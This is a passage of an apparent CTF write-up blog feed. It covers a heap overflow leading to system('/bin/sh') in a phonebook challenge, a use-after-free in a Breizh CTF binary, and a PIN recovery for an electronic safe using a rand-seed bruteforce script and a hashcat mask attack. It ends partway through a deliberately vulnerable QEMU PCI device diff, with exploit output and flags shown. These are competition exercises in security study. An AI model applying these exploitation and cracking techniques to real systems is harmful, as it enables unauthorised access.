&lt;p&gt;We can give it a new lentgh and if that&apos;s not equal to the current size field it frees the current name pointer and allocates a new name pointer &lt;strong&gt;without&lt;/strong&gt; updating the size field. Which means if we edit the name pointer with a smaller size, the name pointer will be smaller compared to the size field, then we just have to edit again the size field to make it equal to &lt;code&gt;v4-&amp;gt;name_size&lt;/code&gt; to trigger a heap overflow through the &lt;code&gt;v4-&amp;gt;name&lt;/code&gt; pointer.&lt;/p&gt;
&lt;h2&gt;Leak libc&lt;/h2&gt;
&lt;p&gt;Now we&apos;re able to overflow through the name pointer we have to find how the leak the libc, a nice way would be to leak it by using free&apos;d chunks in the unsortedbin. Or we can leak the &lt;code&gt;entity-&amp;gt;func&lt;/code&gt; function pointer which would give us a leak of the binary base address, then we would have to edit the name pointer with the got entry of &lt;code&gt;puts&lt;/code&gt; to leak its address within the libc.&lt;/p&gt;
&lt;p&gt;To do so we can create another entity right after the name pointer:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x559b0d4d16b0	0x0000000000000000	0x0000000000000031	........1.......
0x559b0d4d16c0	0x3131313131313131	0x0000559b0c84f2a1	11111111.....U..
0x559b0d4d16d0	0x0000559b0d4d1800	0x00000000000000fe	..M..U..........
0x559b0d4d16e0	0x0000000000000000	0x0000000000000111	................
0x559b0d4d16f0	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x559b0d4d1700	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x559b0d4d1710	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x559b0d4d1720	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x559b0d4d1730	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x559b0d4d1740	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x559b0d4d1750	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x559b0d4d1760	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x559b0d4d1770	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x559b0d4d1780	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x559b0d4d1790	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x559b0d4d17a0	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x559b0d4d17b0	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x559b0d4d17c0	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x559b0d4d17d0	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x559b0d4d17e0	0x4141414141414141	0x0000414141414141	AAAAAAAAAAAAAA..
0x559b0d4d17f0	0x0000000000000000	0x0000000000000031	........1.......
0x559b0d4d1800	0x6161616161616161	0x6161616161616161	aaaaaaaaaaaaaaaa
0x559b0d4d1810	0x6161616161616161	0x6161616161616161	aaaaaaaaaaaaaaaa
0x559b0d4d1820	0x0000000000000000	0x0000000000000031	........1.......
0x559b0d4d1830	0x3131313131313131	0x0000559b0c84f2a1	11111111.....U..
0x559b0d4d1840	0x0000559b0c851fa0	0x000000000000000a	.....U..........
0x559b0d4d1850	0x0000000000000000	0x000000000001f7b1	................	 &amp;lt;-- Top chunk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;edit_phone_number&lt;/code&gt; overwrites the null byte:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall edit_phone_number(int a1)
{
  printf(&quot;Enter new phone number: &quot;);
  return __isoc99_scanf(&quot;%8s&quot;, people[a1]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To summarise:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;leak binary base address by overwriting the null byte (&lt;code&gt;edit_phone_number&lt;/code&gt;) and then print the phone numer.&lt;/li&gt;
&lt;li&gt;leak libc base address by overwriting the name field of the second entity with the got entry of &lt;code&gt;puts&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;PROFIT&lt;/h2&gt;
&lt;p&gt;Then we just have to overwrite the function pointer with the address of &lt;code&gt;system&lt;/code&gt; which takes as first argument a pointer to the entity structure of edit the phone number of the entity we wanna use because that&apos;s the first field of the structure which means we make it equivalent to a &lt;code&gt;system(&quot;/bin/sh&quot;)&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00000000 entity          struc ; (sizeof=0x20, mappedto_8)
00000000 num             dq ?
00000008 func            dq ?
00000010 name            dq ?                    ; offset
00000018 name_size       dq ?
00000020 entity          ends
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then here we are:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ python3 exploit.py REMOTE HOST=51.124.222.205 PORT=13380
[*] &apos;/home/nasm/Documents/phonebook/chall/phonebook_patched_patched&apos;
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b&apos;.&apos;
[+] Opening connection to 51.124.222.205 on port 13380: Done
[*] binary: 0x558980fdd000
[*] libc @ 0x7fabfec57000
[*] system @ 0x7fabfeca92c0
[*] Switching to interactive mode
$ id
uid=1337 gid=1337 groups=1337
$ cat flag.txt
DCTF{C4n_1_g3t_y0ur_numb3r?}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[Breizh CTF 2022 - pwn] Faible Ty Reseau</title><link>https://n4sm.github.io/posts/ftm/</link><guid isPermaLink="true">https://n4sm.github.io/posts/ftm/</guid><pubDate>Fri, 04 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Faible Ty Réseau is a basic heap-like challenge, it allows us to create a configuration, edit it, call a function pointer on it and finally to free it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  while ( 1 )
  {
    puts(aVousN);
    printf(a1ModifierLesPa, argv);
    fflush(stdout);
    v4 = 0;
    argv = &amp;amp;v4;
    __isoc99_scanf(&amp;amp;unk_21F3, &amp;amp;v4);
    switch ( v4 )
    {
      case 0:
        printf(&quot;wtf ?&quot;);
        fflush(stdout);
        break;
      case 1:
        create();
        break;
      case 2:
        delete();
        break;
      case 3:
        exec();
        break;
      case 4:
        show();
        break;
      case 5:
        exit(0);
      default:
        continue;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;They are many ways to pwn the challenge, I did it by taking advantage of the UAF in &lt;code&gt;create&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 create()
{
  int v1; // [rsp+4h] [rbp-1Ch]
  int v2; // [rsp+8h] [rbp-18h]
  void *buf; // [rsp+10h] [rbp-10h]
  void *v4; // [rsp+18h] [rbp-8h]

  if ( !ptr )
  {
    ptr = malloc(0x18uLL);
    byte_4104 = 1;
  }
  buf = calloc(0x19uLL, 1uLL);
  write(1, &quot;New hostname : &quot;, 0x10uLL);
  v1 = read(1, buf, 0x18uLL);
  *(buf + v1) = 0;
  v4 = calloc(0x19uLL, 1uLL);
  printf(&quot;\nNew host : &quot;);
  fflush(stdout);
  v2 = read(1, v4, 0x18uLL);
  *(v4 + v2) = 0;
  fflush(stdout);
  if ( byte_4104 != 1 )
  {
    fflush(stdout);
    realloc(ptr, v1 + v2 - 2);
    *ptr = buf;
    *(ptr + 1) = v4;
    *(ptr + 2) = sub_1259;
  }
  byte_4104 = 0;
  *ptr = buf;
  *(ptr + 1) = v4;
  *(ptr + 2) = sub_1259;
  fflush(stdout);
  alloc_admin();
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As we can see, if ptr is not &lt;code&gt;NULL&lt;/code&gt; and that we enter only one byte for each read (by sending only \n for example), then we will trigger a &lt;code&gt;realloc(ptr, 1 + 1 - 2)&lt;/code&gt; which frees &lt;code&gt;ptr&lt;/code&gt;, &lt;code&gt;ptr&lt;/code&gt; being freed the freelist is pointing on &lt;code&gt;ptr&lt;/code&gt;. Now let&apos;s take a look at the &lt;code&gt;alloc_admin&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 alloc_admin()
{
  char *v1; // [rsp+0h] [rbp-10h]
  char *v2; // [rsp+8h] [rbp-8h]

  fflush(stdout);
  qword_40F8 = malloc(0x18uLL);
  fflush(stdout);
  v1 = malloc(0xAuLL);
  fflush(stdout);
  strcpy(v1, &quot;Admin&quot;);
  fflush(stdout);
  v2 = malloc(0xAuLL);
  fflush(stdout);
  strcpy(v2, &quot;000000000&quot;);
  fflush(stdout);
  *qword_40F8 = v1;
  *(qword_40F8 + 8) = v2;
  *(qword_40F8 + 16) = win;
  fflush(stdout);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By allocating &lt;code&gt;0x18&lt;/code&gt; bytes, it gets the previous freed &lt;code&gt;ptr&lt;/code&gt; and writes over a few fields like the function pointer. Then we just have to call the &lt;code&gt;exec&lt;/code&gt; function which will call the win function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int exec()
{
  if ( ptr )
    return (*(ptr + 2))();
  printf(&quot;Pas de configuration !&quot;);
  return fflush(stdout);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which gives us:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nasm@off:~/ctf/bzhCTF/pwn$ ./FTM
Vous n&apos;êtes pas connecté (anonyme)
1. Modifier les paramètres de connexion
2. Restaurer la configutation d&apos;usine
3. Tester la configuration
4. Voir la configuration courante
5. Quitter (au revoir !)
&amp;gt;&amp;gt;&amp;gt;&amp;gt; 1
New hostname : dumb

New host : dumb
Vous n&apos;êtes pas connecté (anonyme)
1. Modifier les paramètres de connexion
2. Restaurer la configutation d&apos;usine
3. Tester la configuration
4. Voir la configuration courante
5. Quitter (au revoir !)
&amp;gt;&amp;gt;&amp;gt;&amp;gt; 1
New hostname : 

New host : 
Vous n&apos;êtes pas connecté (anonyme)
1. Modifier les paramètres de connexion
2. Restaurer la configutation d&apos;usine
3. Tester la configuration
4. Voir la configuration courante
5. Quitter (au revoir !)
&amp;gt;&amp;gt;&amp;gt;&amp;gt; 3
BZHCTF{9024b719d4449bc9827478e50f0279427ccb542cc3ecdec21fce38c52b29561c}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[TRACS 2021 - RE] Coffre</title><link>https://n4sm.github.io/posts/safe/</link><guid isPermaLink="true">https://n4sm.github.io/posts/safe/</guid><pubDate>Sun, 05 Dec 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Epreuve 12-3 – Coffre
En tant que stagiaire vous avez accès aux locaux de la NSB. Vous allez collecter des informations dans les locaux. Un coffre est présent dans les locaux en salle rideau. Il appartient à Richard Cresus de la Tune. Essayez d’ouvrir ce coffre. Quel est l’IBAN contenu dans le coffre ? Format de la réponse : IBAN sans séparateur.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Basically, we have to crack open an electronic safe. It&apos;s locked with an electromagnet and requires a pin to open, moreover it prints an id right before asking for the pin. We previously were given a link to the download page one of the safe&apos;s software update (&lt;code&gt;http://safe-locks.tracs.viarezo.fr/download&lt;/code&gt;).&lt;/p&gt;
&lt;h2&gt;Reversing the custom libcrypto.so library&lt;/h2&gt;
&lt;p&gt;The software update comes in the from of a &lt;code&gt;.maj&lt;/code&gt; archive that we extracted to get two &lt;code&gt;libcrypto.so&lt;/code&gt; libraries (one for x86, the other one for arm64 v7). We checked if the files were equivalent by looking at their code structure, and we finally choose to reverse the x86 library (even though the safe probably used the arm one) because it was easier.&lt;/p&gt;
&lt;p&gt;Firstly, we looked at how the pin was checked, more specifically at the &lt;code&gt;libsafe_test_passcode&lt;/code&gt; in IDA:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_BOOL8 __fastcall libsafe_test_passcode(const char *a1)
{
  unsigned int v2; // eax
  int fd; // [rsp+1Ch] [rbp-64h]
  char buf[36]; // [rsp+20h] [rbp-60h] BYREF
  char s1[40]; // [rsp+50h] [rbp-30h] BYREF
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  fd = open(&quot;.safe_db&quot;, 0);
  if ( fd &amp;lt; 0 )
    return 0LL;
  read(fd, buf, 0x24uLL);
  close(fd);
  v2 = strlen(a1);
  sha256sum(a1, v2, s1);
  return memcmp(s1, &amp;amp;buf[4], 0x20uLL) == 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We assume the argument is a pointer to the pin, for which we compute its &lt;code&gt;sha256sum&lt;/code&gt;. And if it is equal to &lt;code&gt;buf[4:0x24]&lt;/code&gt;, it means the pin correct! So we have to understand what &lt;code&gt;buf[4:0x24]&lt;/code&gt; is, which is stored in the &lt;code&gt;.safe_db&lt;/code&gt; file. To do so we look at the &lt;code&gt;libsafe_generate_new_passcode&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall libsafe_generate_new_passcode(unsigned __int8 *a1)
{
  unsigned int v1; // eax
  int i; // [rsp+18h] [rbp-468h]
  int fd; // [rsp+1Ch] [rbp-464h]
  char file_content[36]; // [rsp+20h] [rbp-460h] BYREF
  char hash_rand_buf[32]; // [rsp+50h] [rbp-430h] BYREF
  char rand_buf[1032]; // [rsp+70h] [rbp-410h] BYREF
  unsigned __int64 canary; // [rsp+478h] [rbp-8h]

  canary = __readfsqword(0x28u);
  v1 = time(0LL);
  srand(v1);
  memset(file_content, 0, sizeof(file_content));
  *(_DWORD *)file_content = rand();
  for ( i = 0; i &amp;lt;= 1023; ++i )
    rand_buf[i] = rand();
  sha256sum(rand_buf, 1024LL, hash_rand_buf);
  _build_passcode((__int64)hash_rand_buf, 32LL, (__int64)a1, 8LL);
  sha256sum(a1, 8LL, &amp;amp;file_content[4]);
  fd = open(&quot;.safe_db&quot;, 577);
  if ( fd &amp;lt; 0 )
    return 1LL;
  write(fd, file_content, 0x24uLL);
  close(fd);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The function is very basic:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It takes as argument a pointer to the buffer to cipher for which we compute the hash to fill out the &lt;code&gt;.safe_db&lt;/code&gt; file.&lt;/li&gt;
&lt;li&gt;It initializes the PRNG with &lt;code&gt;time(NULL)&lt;/code&gt; passed as an argument to&lt;code&gt;srand&lt;/code&gt;. It then creates an array of &lt;code&gt;1024&lt;/code&gt; random bytes with the use of &lt;code&gt;rand&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Then, this array is hashed with &lt;code&gt;sha256sum&lt;/code&gt; and its hash is given to the &lt;code&gt;_build_passcode&lt;/code&gt; function. The result is stored in the &lt;code&gt;a1&lt;/code&gt; argument.&lt;/li&gt;
&lt;li&gt;The argument is hashed again and in the target file we write at &lt;code&gt;file_content[:4]&lt;/code&gt; the first &lt;code&gt;rand&lt;/code&gt; value and at &lt;code&gt;file_content[4:0x24]&lt;/code&gt; the hash of the previous ciphered buffer.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The core of the encryption algorithm is in the &lt;code&gt;build_passcode&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall build_passcode(
        unsigned __int8 *hash_rand_buf,
        unsigned int length_hash,
        unsigned __int8 *out,
        unsigned int opaque_8)
{
  __int64 result; // rax
  unsigned int i; // [rsp+20h] [rbp-10h]
  unsigned int length_base; // [rsp+24h] [rbp-Ch]

  lenght_base = strlen(&quot;1234567890ABCD&quot;);
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i &amp;gt;= opaque_8 )
      break;
    out[i] = base[hash_rand_buf[i % length_hash] % length_base];
  }
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s just basically filling out the &lt;code&gt;out&lt;/code&gt; buffer with &lt;code&gt;base[hash_rand_buf[i % length_hash] % lenght_base]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now we have a good understanding of the encryption algorithm, we can take a look at what exactly the &lt;code&gt;id&lt;/code&gt; printed right before the pin input is. The function that generates the &lt;code&gt;id&lt;/code&gt; is &lt;code&gt;libsafe_get_userid&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall libsafe_get_userid(_DWORD *id)
{
  int fd; // [rsp+1Ch] [rbp-34h]
  int buf[10]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+48h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  fd = open(&quot;.safe_db&quot;, 0);
  if ( fd &amp;lt; 0 )
    return 1LL;
  read(fd, buf, 0x24uLL);
  close(fd);
  *id = buf[0];
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The function is very basic, it opens the &lt;code&gt;.safe_db&lt;/code&gt; file and initializes the &lt;code&gt;id&lt;/code&gt; to the first four bytes of the file which is the first value of rand as seen in the previous functions.&lt;/p&gt;
&lt;h2&gt;Cracking the seed&lt;/h2&gt;
&lt;p&gt;To recover the pin, we have to know what hash the hash of the pin will be compared to. To do so, we have to recover the random buffer, hash it, give it to the &quot;core&quot; encryption layer and hash what it outputs. That will be the final hash which will be compared to the hash of the pin we send. The main part of the challenge is so to recover the &lt;code&gt;rand&lt;/code&gt; values, more specifically the seed given to &lt;code&gt;srand&lt;/code&gt; to initialize the PRNG. We know the seed in the program is &lt;code&gt;time(NULL)&lt;/code&gt;. Which means that this is a timestamp that can be bruteforced in a reasonable amount of time (the 2020 edition of the CTF was cancelled because of COVID so we took as range the date of the software update until today). The bruteforce is very fast because given we know the &lt;code&gt;id&lt;/code&gt; which is the value for the first call to &lt;code&gt;rand&lt;/code&gt;, we have just to ensure the first value of &lt;code&gt;rand&lt;/code&gt; for the seed we bruteforce is equal to the &lt;code&gt;id&lt;/code&gt; value.&lt;/p&gt;
&lt;p&gt;Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from tqdm import tqdm
import hashlib
from ctypes import CDLL
libc = CDLL(&quot;libc.so.6&quot;)

h = lambda x: hashlib.sha256(x).digest()

START_TIME   = 1605052800 # 2020-11-11 12:00:00 AM -&amp;gt; known date for the software update
CURRENT_TIME = 1638633346 # 2021-12-04  3:55:46 PM -&amp;gt; current time
PINCODE      = 0x4b2e2a1c

CHARSET      = b&quot;1234567890ABCD&quot;
CHARLEN      = len(CHARSET)

for t in tqdm(range(CURRENT_TIME - START_TIME)):
    t += START_TIME

    libc.srand(t)
    
    if PINCODE == libc.rand():

        v8 = [libc.rand() &amp;amp; 0xff for _ in range(1024)]
        v8 = h(bytearray(v8))

        v6 = [CHARSET[v8[i % 32] % CHARLEN] for i in range(8)]
        v6 = h(bytearray(v6))

        print(f&quot;Timestamp: {t=}, hash: {v6.hex()}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And when we found the right seed, we just have to generate, hash, cipher and hash again the right random buffer to get the right hash to which the hash of the pin will be compared to.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ python3 solve.py 
 94%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████▏       | 31691218/33580546 [01:29&amp;lt;00:05, 351593.81it/s]
Timestamp: t=1636749762, hash: 88c71c0cc0950acfe3835a009f8931cee0f12ab7410538f96d058184a4c90e11
100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 33580546/33580546 [01:34&amp;lt;00:00, 356533.87it/s]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Hashcat + PROFIT&lt;/h2&gt;
&lt;p&gt;Now we know the final hash to which the hash of the pin is compared to, we can just run a mask attack using hashcat with a mask of 8 hexadecimal characters in uppercase (we tried for every length up to the right size: 8).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ hashcat -a 3 -m 1400 pincode.hash ?H?H?H?H?H?H?H?H
[skip]
88c71c0cc0950acfe3835a009f8931cee0f12ab7410538f96d058184a4c90e11:4233246D

Session..........: hashcat
Status...........: Cracked
Hash.Type........: SHA2-256
Hash.Target......: 88c71c0cc0950acfe3835a009f8931cee0f12ab7410538f96d0...c90e11
Time.Started.....: Sat Dec  5 16:52:37 2021 (7 mins, 22 secs)
Time.Estimated...: Sat Dec  5 16:59:59 2021 (0 secs)
Guess.Mask.......: ?H?H?H?H?H?H?H?H [8]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  7884.8 kH/s (7.30ms) @ Accel:256 Loops:64 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 3342925824/4294967296 (77.83%)
Rejected.........: 0/3342925824 (0.00%)
Restore.Point....: 816128/1048576 (77.83%)
Restore.Sub.#1...: Salt:0 Amplifier:0-64 Iteration:0-64
Candidates.#1....: 1234515D -&amp;gt; EBCF585D
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The challenge was pretty funny because of the IRL part, and because we solved it together (&lt;a href=&quot;https://github.com/n4sm&quot;&gt;nasm&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/yarienkiva&quot;&gt;Alol&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Authors: &lt;a href=&quot;https://github.com/n4sm&quot;&gt;nasm&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/yarienkiva&quot;&gt;Alol&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Annexes&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://ret2school.github.io/images/coffre.jpg&quot; alt=&quot;The safe&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>[Hack.lu 2021 - pwn] Cloudinspect</title><link>https://n4sm.github.io/posts/cloudinspect/</link><guid isPermaLink="true">https://n4sm.github.io/posts/cloudinspect/</guid><description>CloundInpect was a hypervisor exploitation challenge I did for the Hack.lu event</description><pubDate>Sun, 07 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;CloudInspect&lt;/h1&gt;
&lt;p&gt;CloundInpect was a hypervisor exploitation challenge I did for the &lt;a href=&quot;https://flu.xxx&quot;&gt;Hack.lu event&lt;/a&gt;.
I didn&apos;t succeed to flag it within the 48 hours :(. But anyway I hope this write up will be interesting to read!
The related files can be found &lt;a href=&quot;https://github.com/ret2school/ctf/tree/master/2021/hack.lu/pwn/cloudinspect&quot;&gt;right here&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;After Whiterock released it&apos;s trading bot cloud with special Stonks Sockets another hedge fund, Castel, comes with some competition. The special feature here is called &quot;cloudinspect&quot;.&lt;br /&gt;
The &lt;code&gt;flag&lt;/code&gt; is located right next to the hypervisor. Go get it!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Vulnerable PCI device&lt;/h2&gt;
&lt;p&gt;We got several files:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ls
build_qemu.sh  diff_chall.txt  flag  initramfs.cpio.gz  qemu-system-x86_64  run_chall.sh  vmlinuz-5.11.0-38-generic
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Apparently, according to the &lt;code&gt;diff_chall.txt&lt;/code&gt; , the provided qemu binary is patched with some vulnerable code. Let&apos;s take a look at the diff file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/hw/misc/cloudinspect.c b/hw/misc/cloudinspect.c
new file mode 100644
index 0000000000..f1c3f84b2a
--- /dev/null
+++ b/hw/misc/cloudinspect.c
@@ -0,0 +1,204 @@
+/*
+ * QEMU cloudinspect intentionally vulnerable PCI device
+ *
+ */
+
+#include &quot;qemu/osdep.h&quot;
+#include &quot;qemu/units.h&quot;
+#include &quot;hw/pci/pci.h&quot;
+#include &quot;hw/hw.h&quot;
+#include &quot;hw/pci/msi.h&quot;
+#include &quot;qom/object.h&quot;
+#include &quot;qemu/module.h&quot;
+#include &quot;qapi/visitor.h&quot;
+#include &quot;sysemu/dma.h&quot;
+
+#define TYPE_PCI_CLOUDINSPECT_DEVICE &quot;cloudinspect&quot;
+typedef struct CloudInspectState CloudInspectState;
+DECLARE_INSTANCE_CHECKER(CloudInspectState, CLOUDINSPECT,
+                         TYPE_PCI_CLOUDINSPECT_DEVICE)
+
+#define DMA_SIZE        4096
+#define CLOUDINSPECT_MMIO_OFFSET_CMD 0x78
+#define CLOUDINSPECT_MMIO_OFFSET_SRC 0x80
+#define CLOUDINSPECT_MMIO_OFFSET_DST 0x88
+#define CLOUDINSPECT_MMIO_OFFSET_CNT 0x90
+#define CLOUDINSPECT_MMIO_OFFSET_TRIGGER 0x98
+
+#define CLOUDINSPECT_VENDORID 0x1337
+#define CLOUDINSPECT_DEVICEID 0x1337
+#define CLOUDINSPECT_REVISION 0xc1
+
+#define CLOUDINSPECT_DMA_GET_VALUE      0x1
+#define CLOUDINSPECT_DMA_PUT_VALUE      0x2
+
+struct CloudInspectState {
+    PCIDevice pdev;
+    MemoryRegion mmio;
+    AddressSpace *as;
+
+    struct dma_state {
+        dma_addr_t src;
+        dma_addr_t dst;
+        dma_addr_t cnt;
+        dma_addr_t cmd;
+    } dma;
+    char dma_buf[DMA_SIZE];
+};
+
+static void cloudinspect_dma_rw(CloudInspectState *cloudinspect, bool write)
+{
+    if (write) {
+        uint64_t dst = cloudinspect-&amp;gt;dma.dst;
+        // DMA_DIRECTION_TO_DEVICE: Read from an address space to PCI device
+        dma_memory_read(cloudinspect-&amp;gt;as, cloudinspect-&amp;gt;dma.src, cloudinspect-&amp;gt;dma_buf + dst, cloudinspect-&amp;gt;dma.cnt);
+    } else {
+        uint64_t src = cloudinspect-&amp;gt;dma.src;
+        // DMA_DIRECTION_FROM_DEVICE: Write to address space from PCI device
+        dma_memory_write(cloudinspect-&amp;gt;as, cloudinspect-&amp;gt;dma.dst, cloudinspect-&amp;gt;dma_buf + src, cloudinspect-&amp;gt;dma.cnt);
+    }
+}
+
+static bool cloudinspect_DMA_op(CloudInspectState *cloudinspect, bool write) {
+    switch (cloudinspect-&amp;gt;dma.cmd) {
+        case CLOUDINSPECT_DMA_GET_VALUE:
+        case CLOUDINSPECT_DMA_PUT_VALUE:
+            if (cloudinspect-&amp;gt;dma.cnt &amp;gt; DMA_SIZE) {
+                return false;
+            }
+            cloudinspect_dma_rw(cloudinspect, write);
+            break;
+        default:
+            return false;
+    }
+
+    return true;
+}
+
+static uint64_t cloudinspect_mmio_read(void *opaque, hwaddr addr, unsigned size)
+{
+    CloudInspectState *cloudinspect = opaque;
+    uint64_t val = ~0ULL;
+
+    switch (addr) {
+    case 0x00:
+        val = 0xc10dc10dc10dc10d;
+        break;
+    case CLOUDINSPECT_MMIO_OFFSET_CMD:
+        val = cloudinspect-&amp;gt;dma.cmd;
+        break;
+    case CLOUDINSPECT_MMIO_OFFSET_SRC:
+        val = cloudinspect-&amp;gt;dma.src;
+        break;
+    case CLOUDINSPECT_MMIO_OFFSET_DST:
+        val = cloudinspect-&amp;gt;dma.dst;
+        break;
+    case CLOUDINSPECT_MMIO_OFFSET_CNT:
+        val = cloudinspect-&amp;gt;dma.cnt;
+        break;
+    case CLOUDINSPECT_MMIO_OFFSET_TRIGGER:
+        val = cloudinspect_DMA_op(cloudinspect, false);
+        break;
+    }
+
+    return val;
+}
+
+static void cloudinspect_mmio_write(void *opaque, hwaddr addr, uint64_t val,
+                unsigned size)
+{
+    CloudInspectState *cloudinspect = opaque;
+
+    switch (addr) {
+    case CLOUDINSPECT_MMIO_OFFSET_CMD:
+        cloudinspect-&amp;gt;dma.cmd = val;
+        break;
+    case CLOUDINSPECT_MMIO_OFFSET_SRC:
+        cloudinspect-&amp;gt;dma.src = val;
+        break;
+    case CLOUDINSPECT_MMIO_OFFSET_DST:
+        cloudinspect-&amp;gt;dma.dst = val;
+        break;
+    case CLOUDINSPECT_MMIO_OFFSET_CNT:
+        cloudinspect-&amp;gt;dma.cnt = val;
+        break;
+    case CLOUDINSPECT_MMIO_OFFSET_TRIGGER:
+        val = cloudinspect_DMA_op(cloudinspect, true);
+        break;
+    }
+}
+
+static const MemoryRegionOps cloudinspect_mmio_ops = {
+    .read = cloudinspect_mmio_read,
+    .write = cloudinspect_mmio_write,
+    .endianness = DEVICE_NATIVE_ENDIAN,
+    .valid = {
+        .min_access_size = 4,
+        .max_access_size = 8,
+    },
+    .impl = {
+        .min_access_size = 4,
+        .max_access_size = 8,
+    },
+
+};
+
+static void pci_cloudinspect_realize(PCIDevice *pdev, Error **errp)
+{
+    CloudInspectState *cloudinspect = CLOUDINSPECT(pdev);
+    // uint8_t *pci_conf = pdev-&amp;gt;config;
+
+    if (msi_init(pdev, 0, 1, true, false, errp)) {
+        return;
+    }
+
+    cloudinspect-&amp;gt;as = &amp;amp;address_space_memory;
+    memory_region_init_io(&amp;amp;cloudinspect-&amp;gt;mmio, OBJECT(cloudinspect), &amp;amp;cloudinspect_mmio_ops, cloudinspect,
+                    &quot;cloudinspect-mmio&quot;, 1 * MiB);
+    pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &amp;amp;cloudinspect-&amp;gt;mmio);
+}
+
+static void pci_cloudinspect_uninit(PCIDevice *pdev)
+{
+    // CloudInspectState *cloudinspect = CLOUDINSPECT(pdev);
+
+    msi_uninit(pdev);
+}
+
+static void cloudinspect_instance_init(Object *obj)
+{
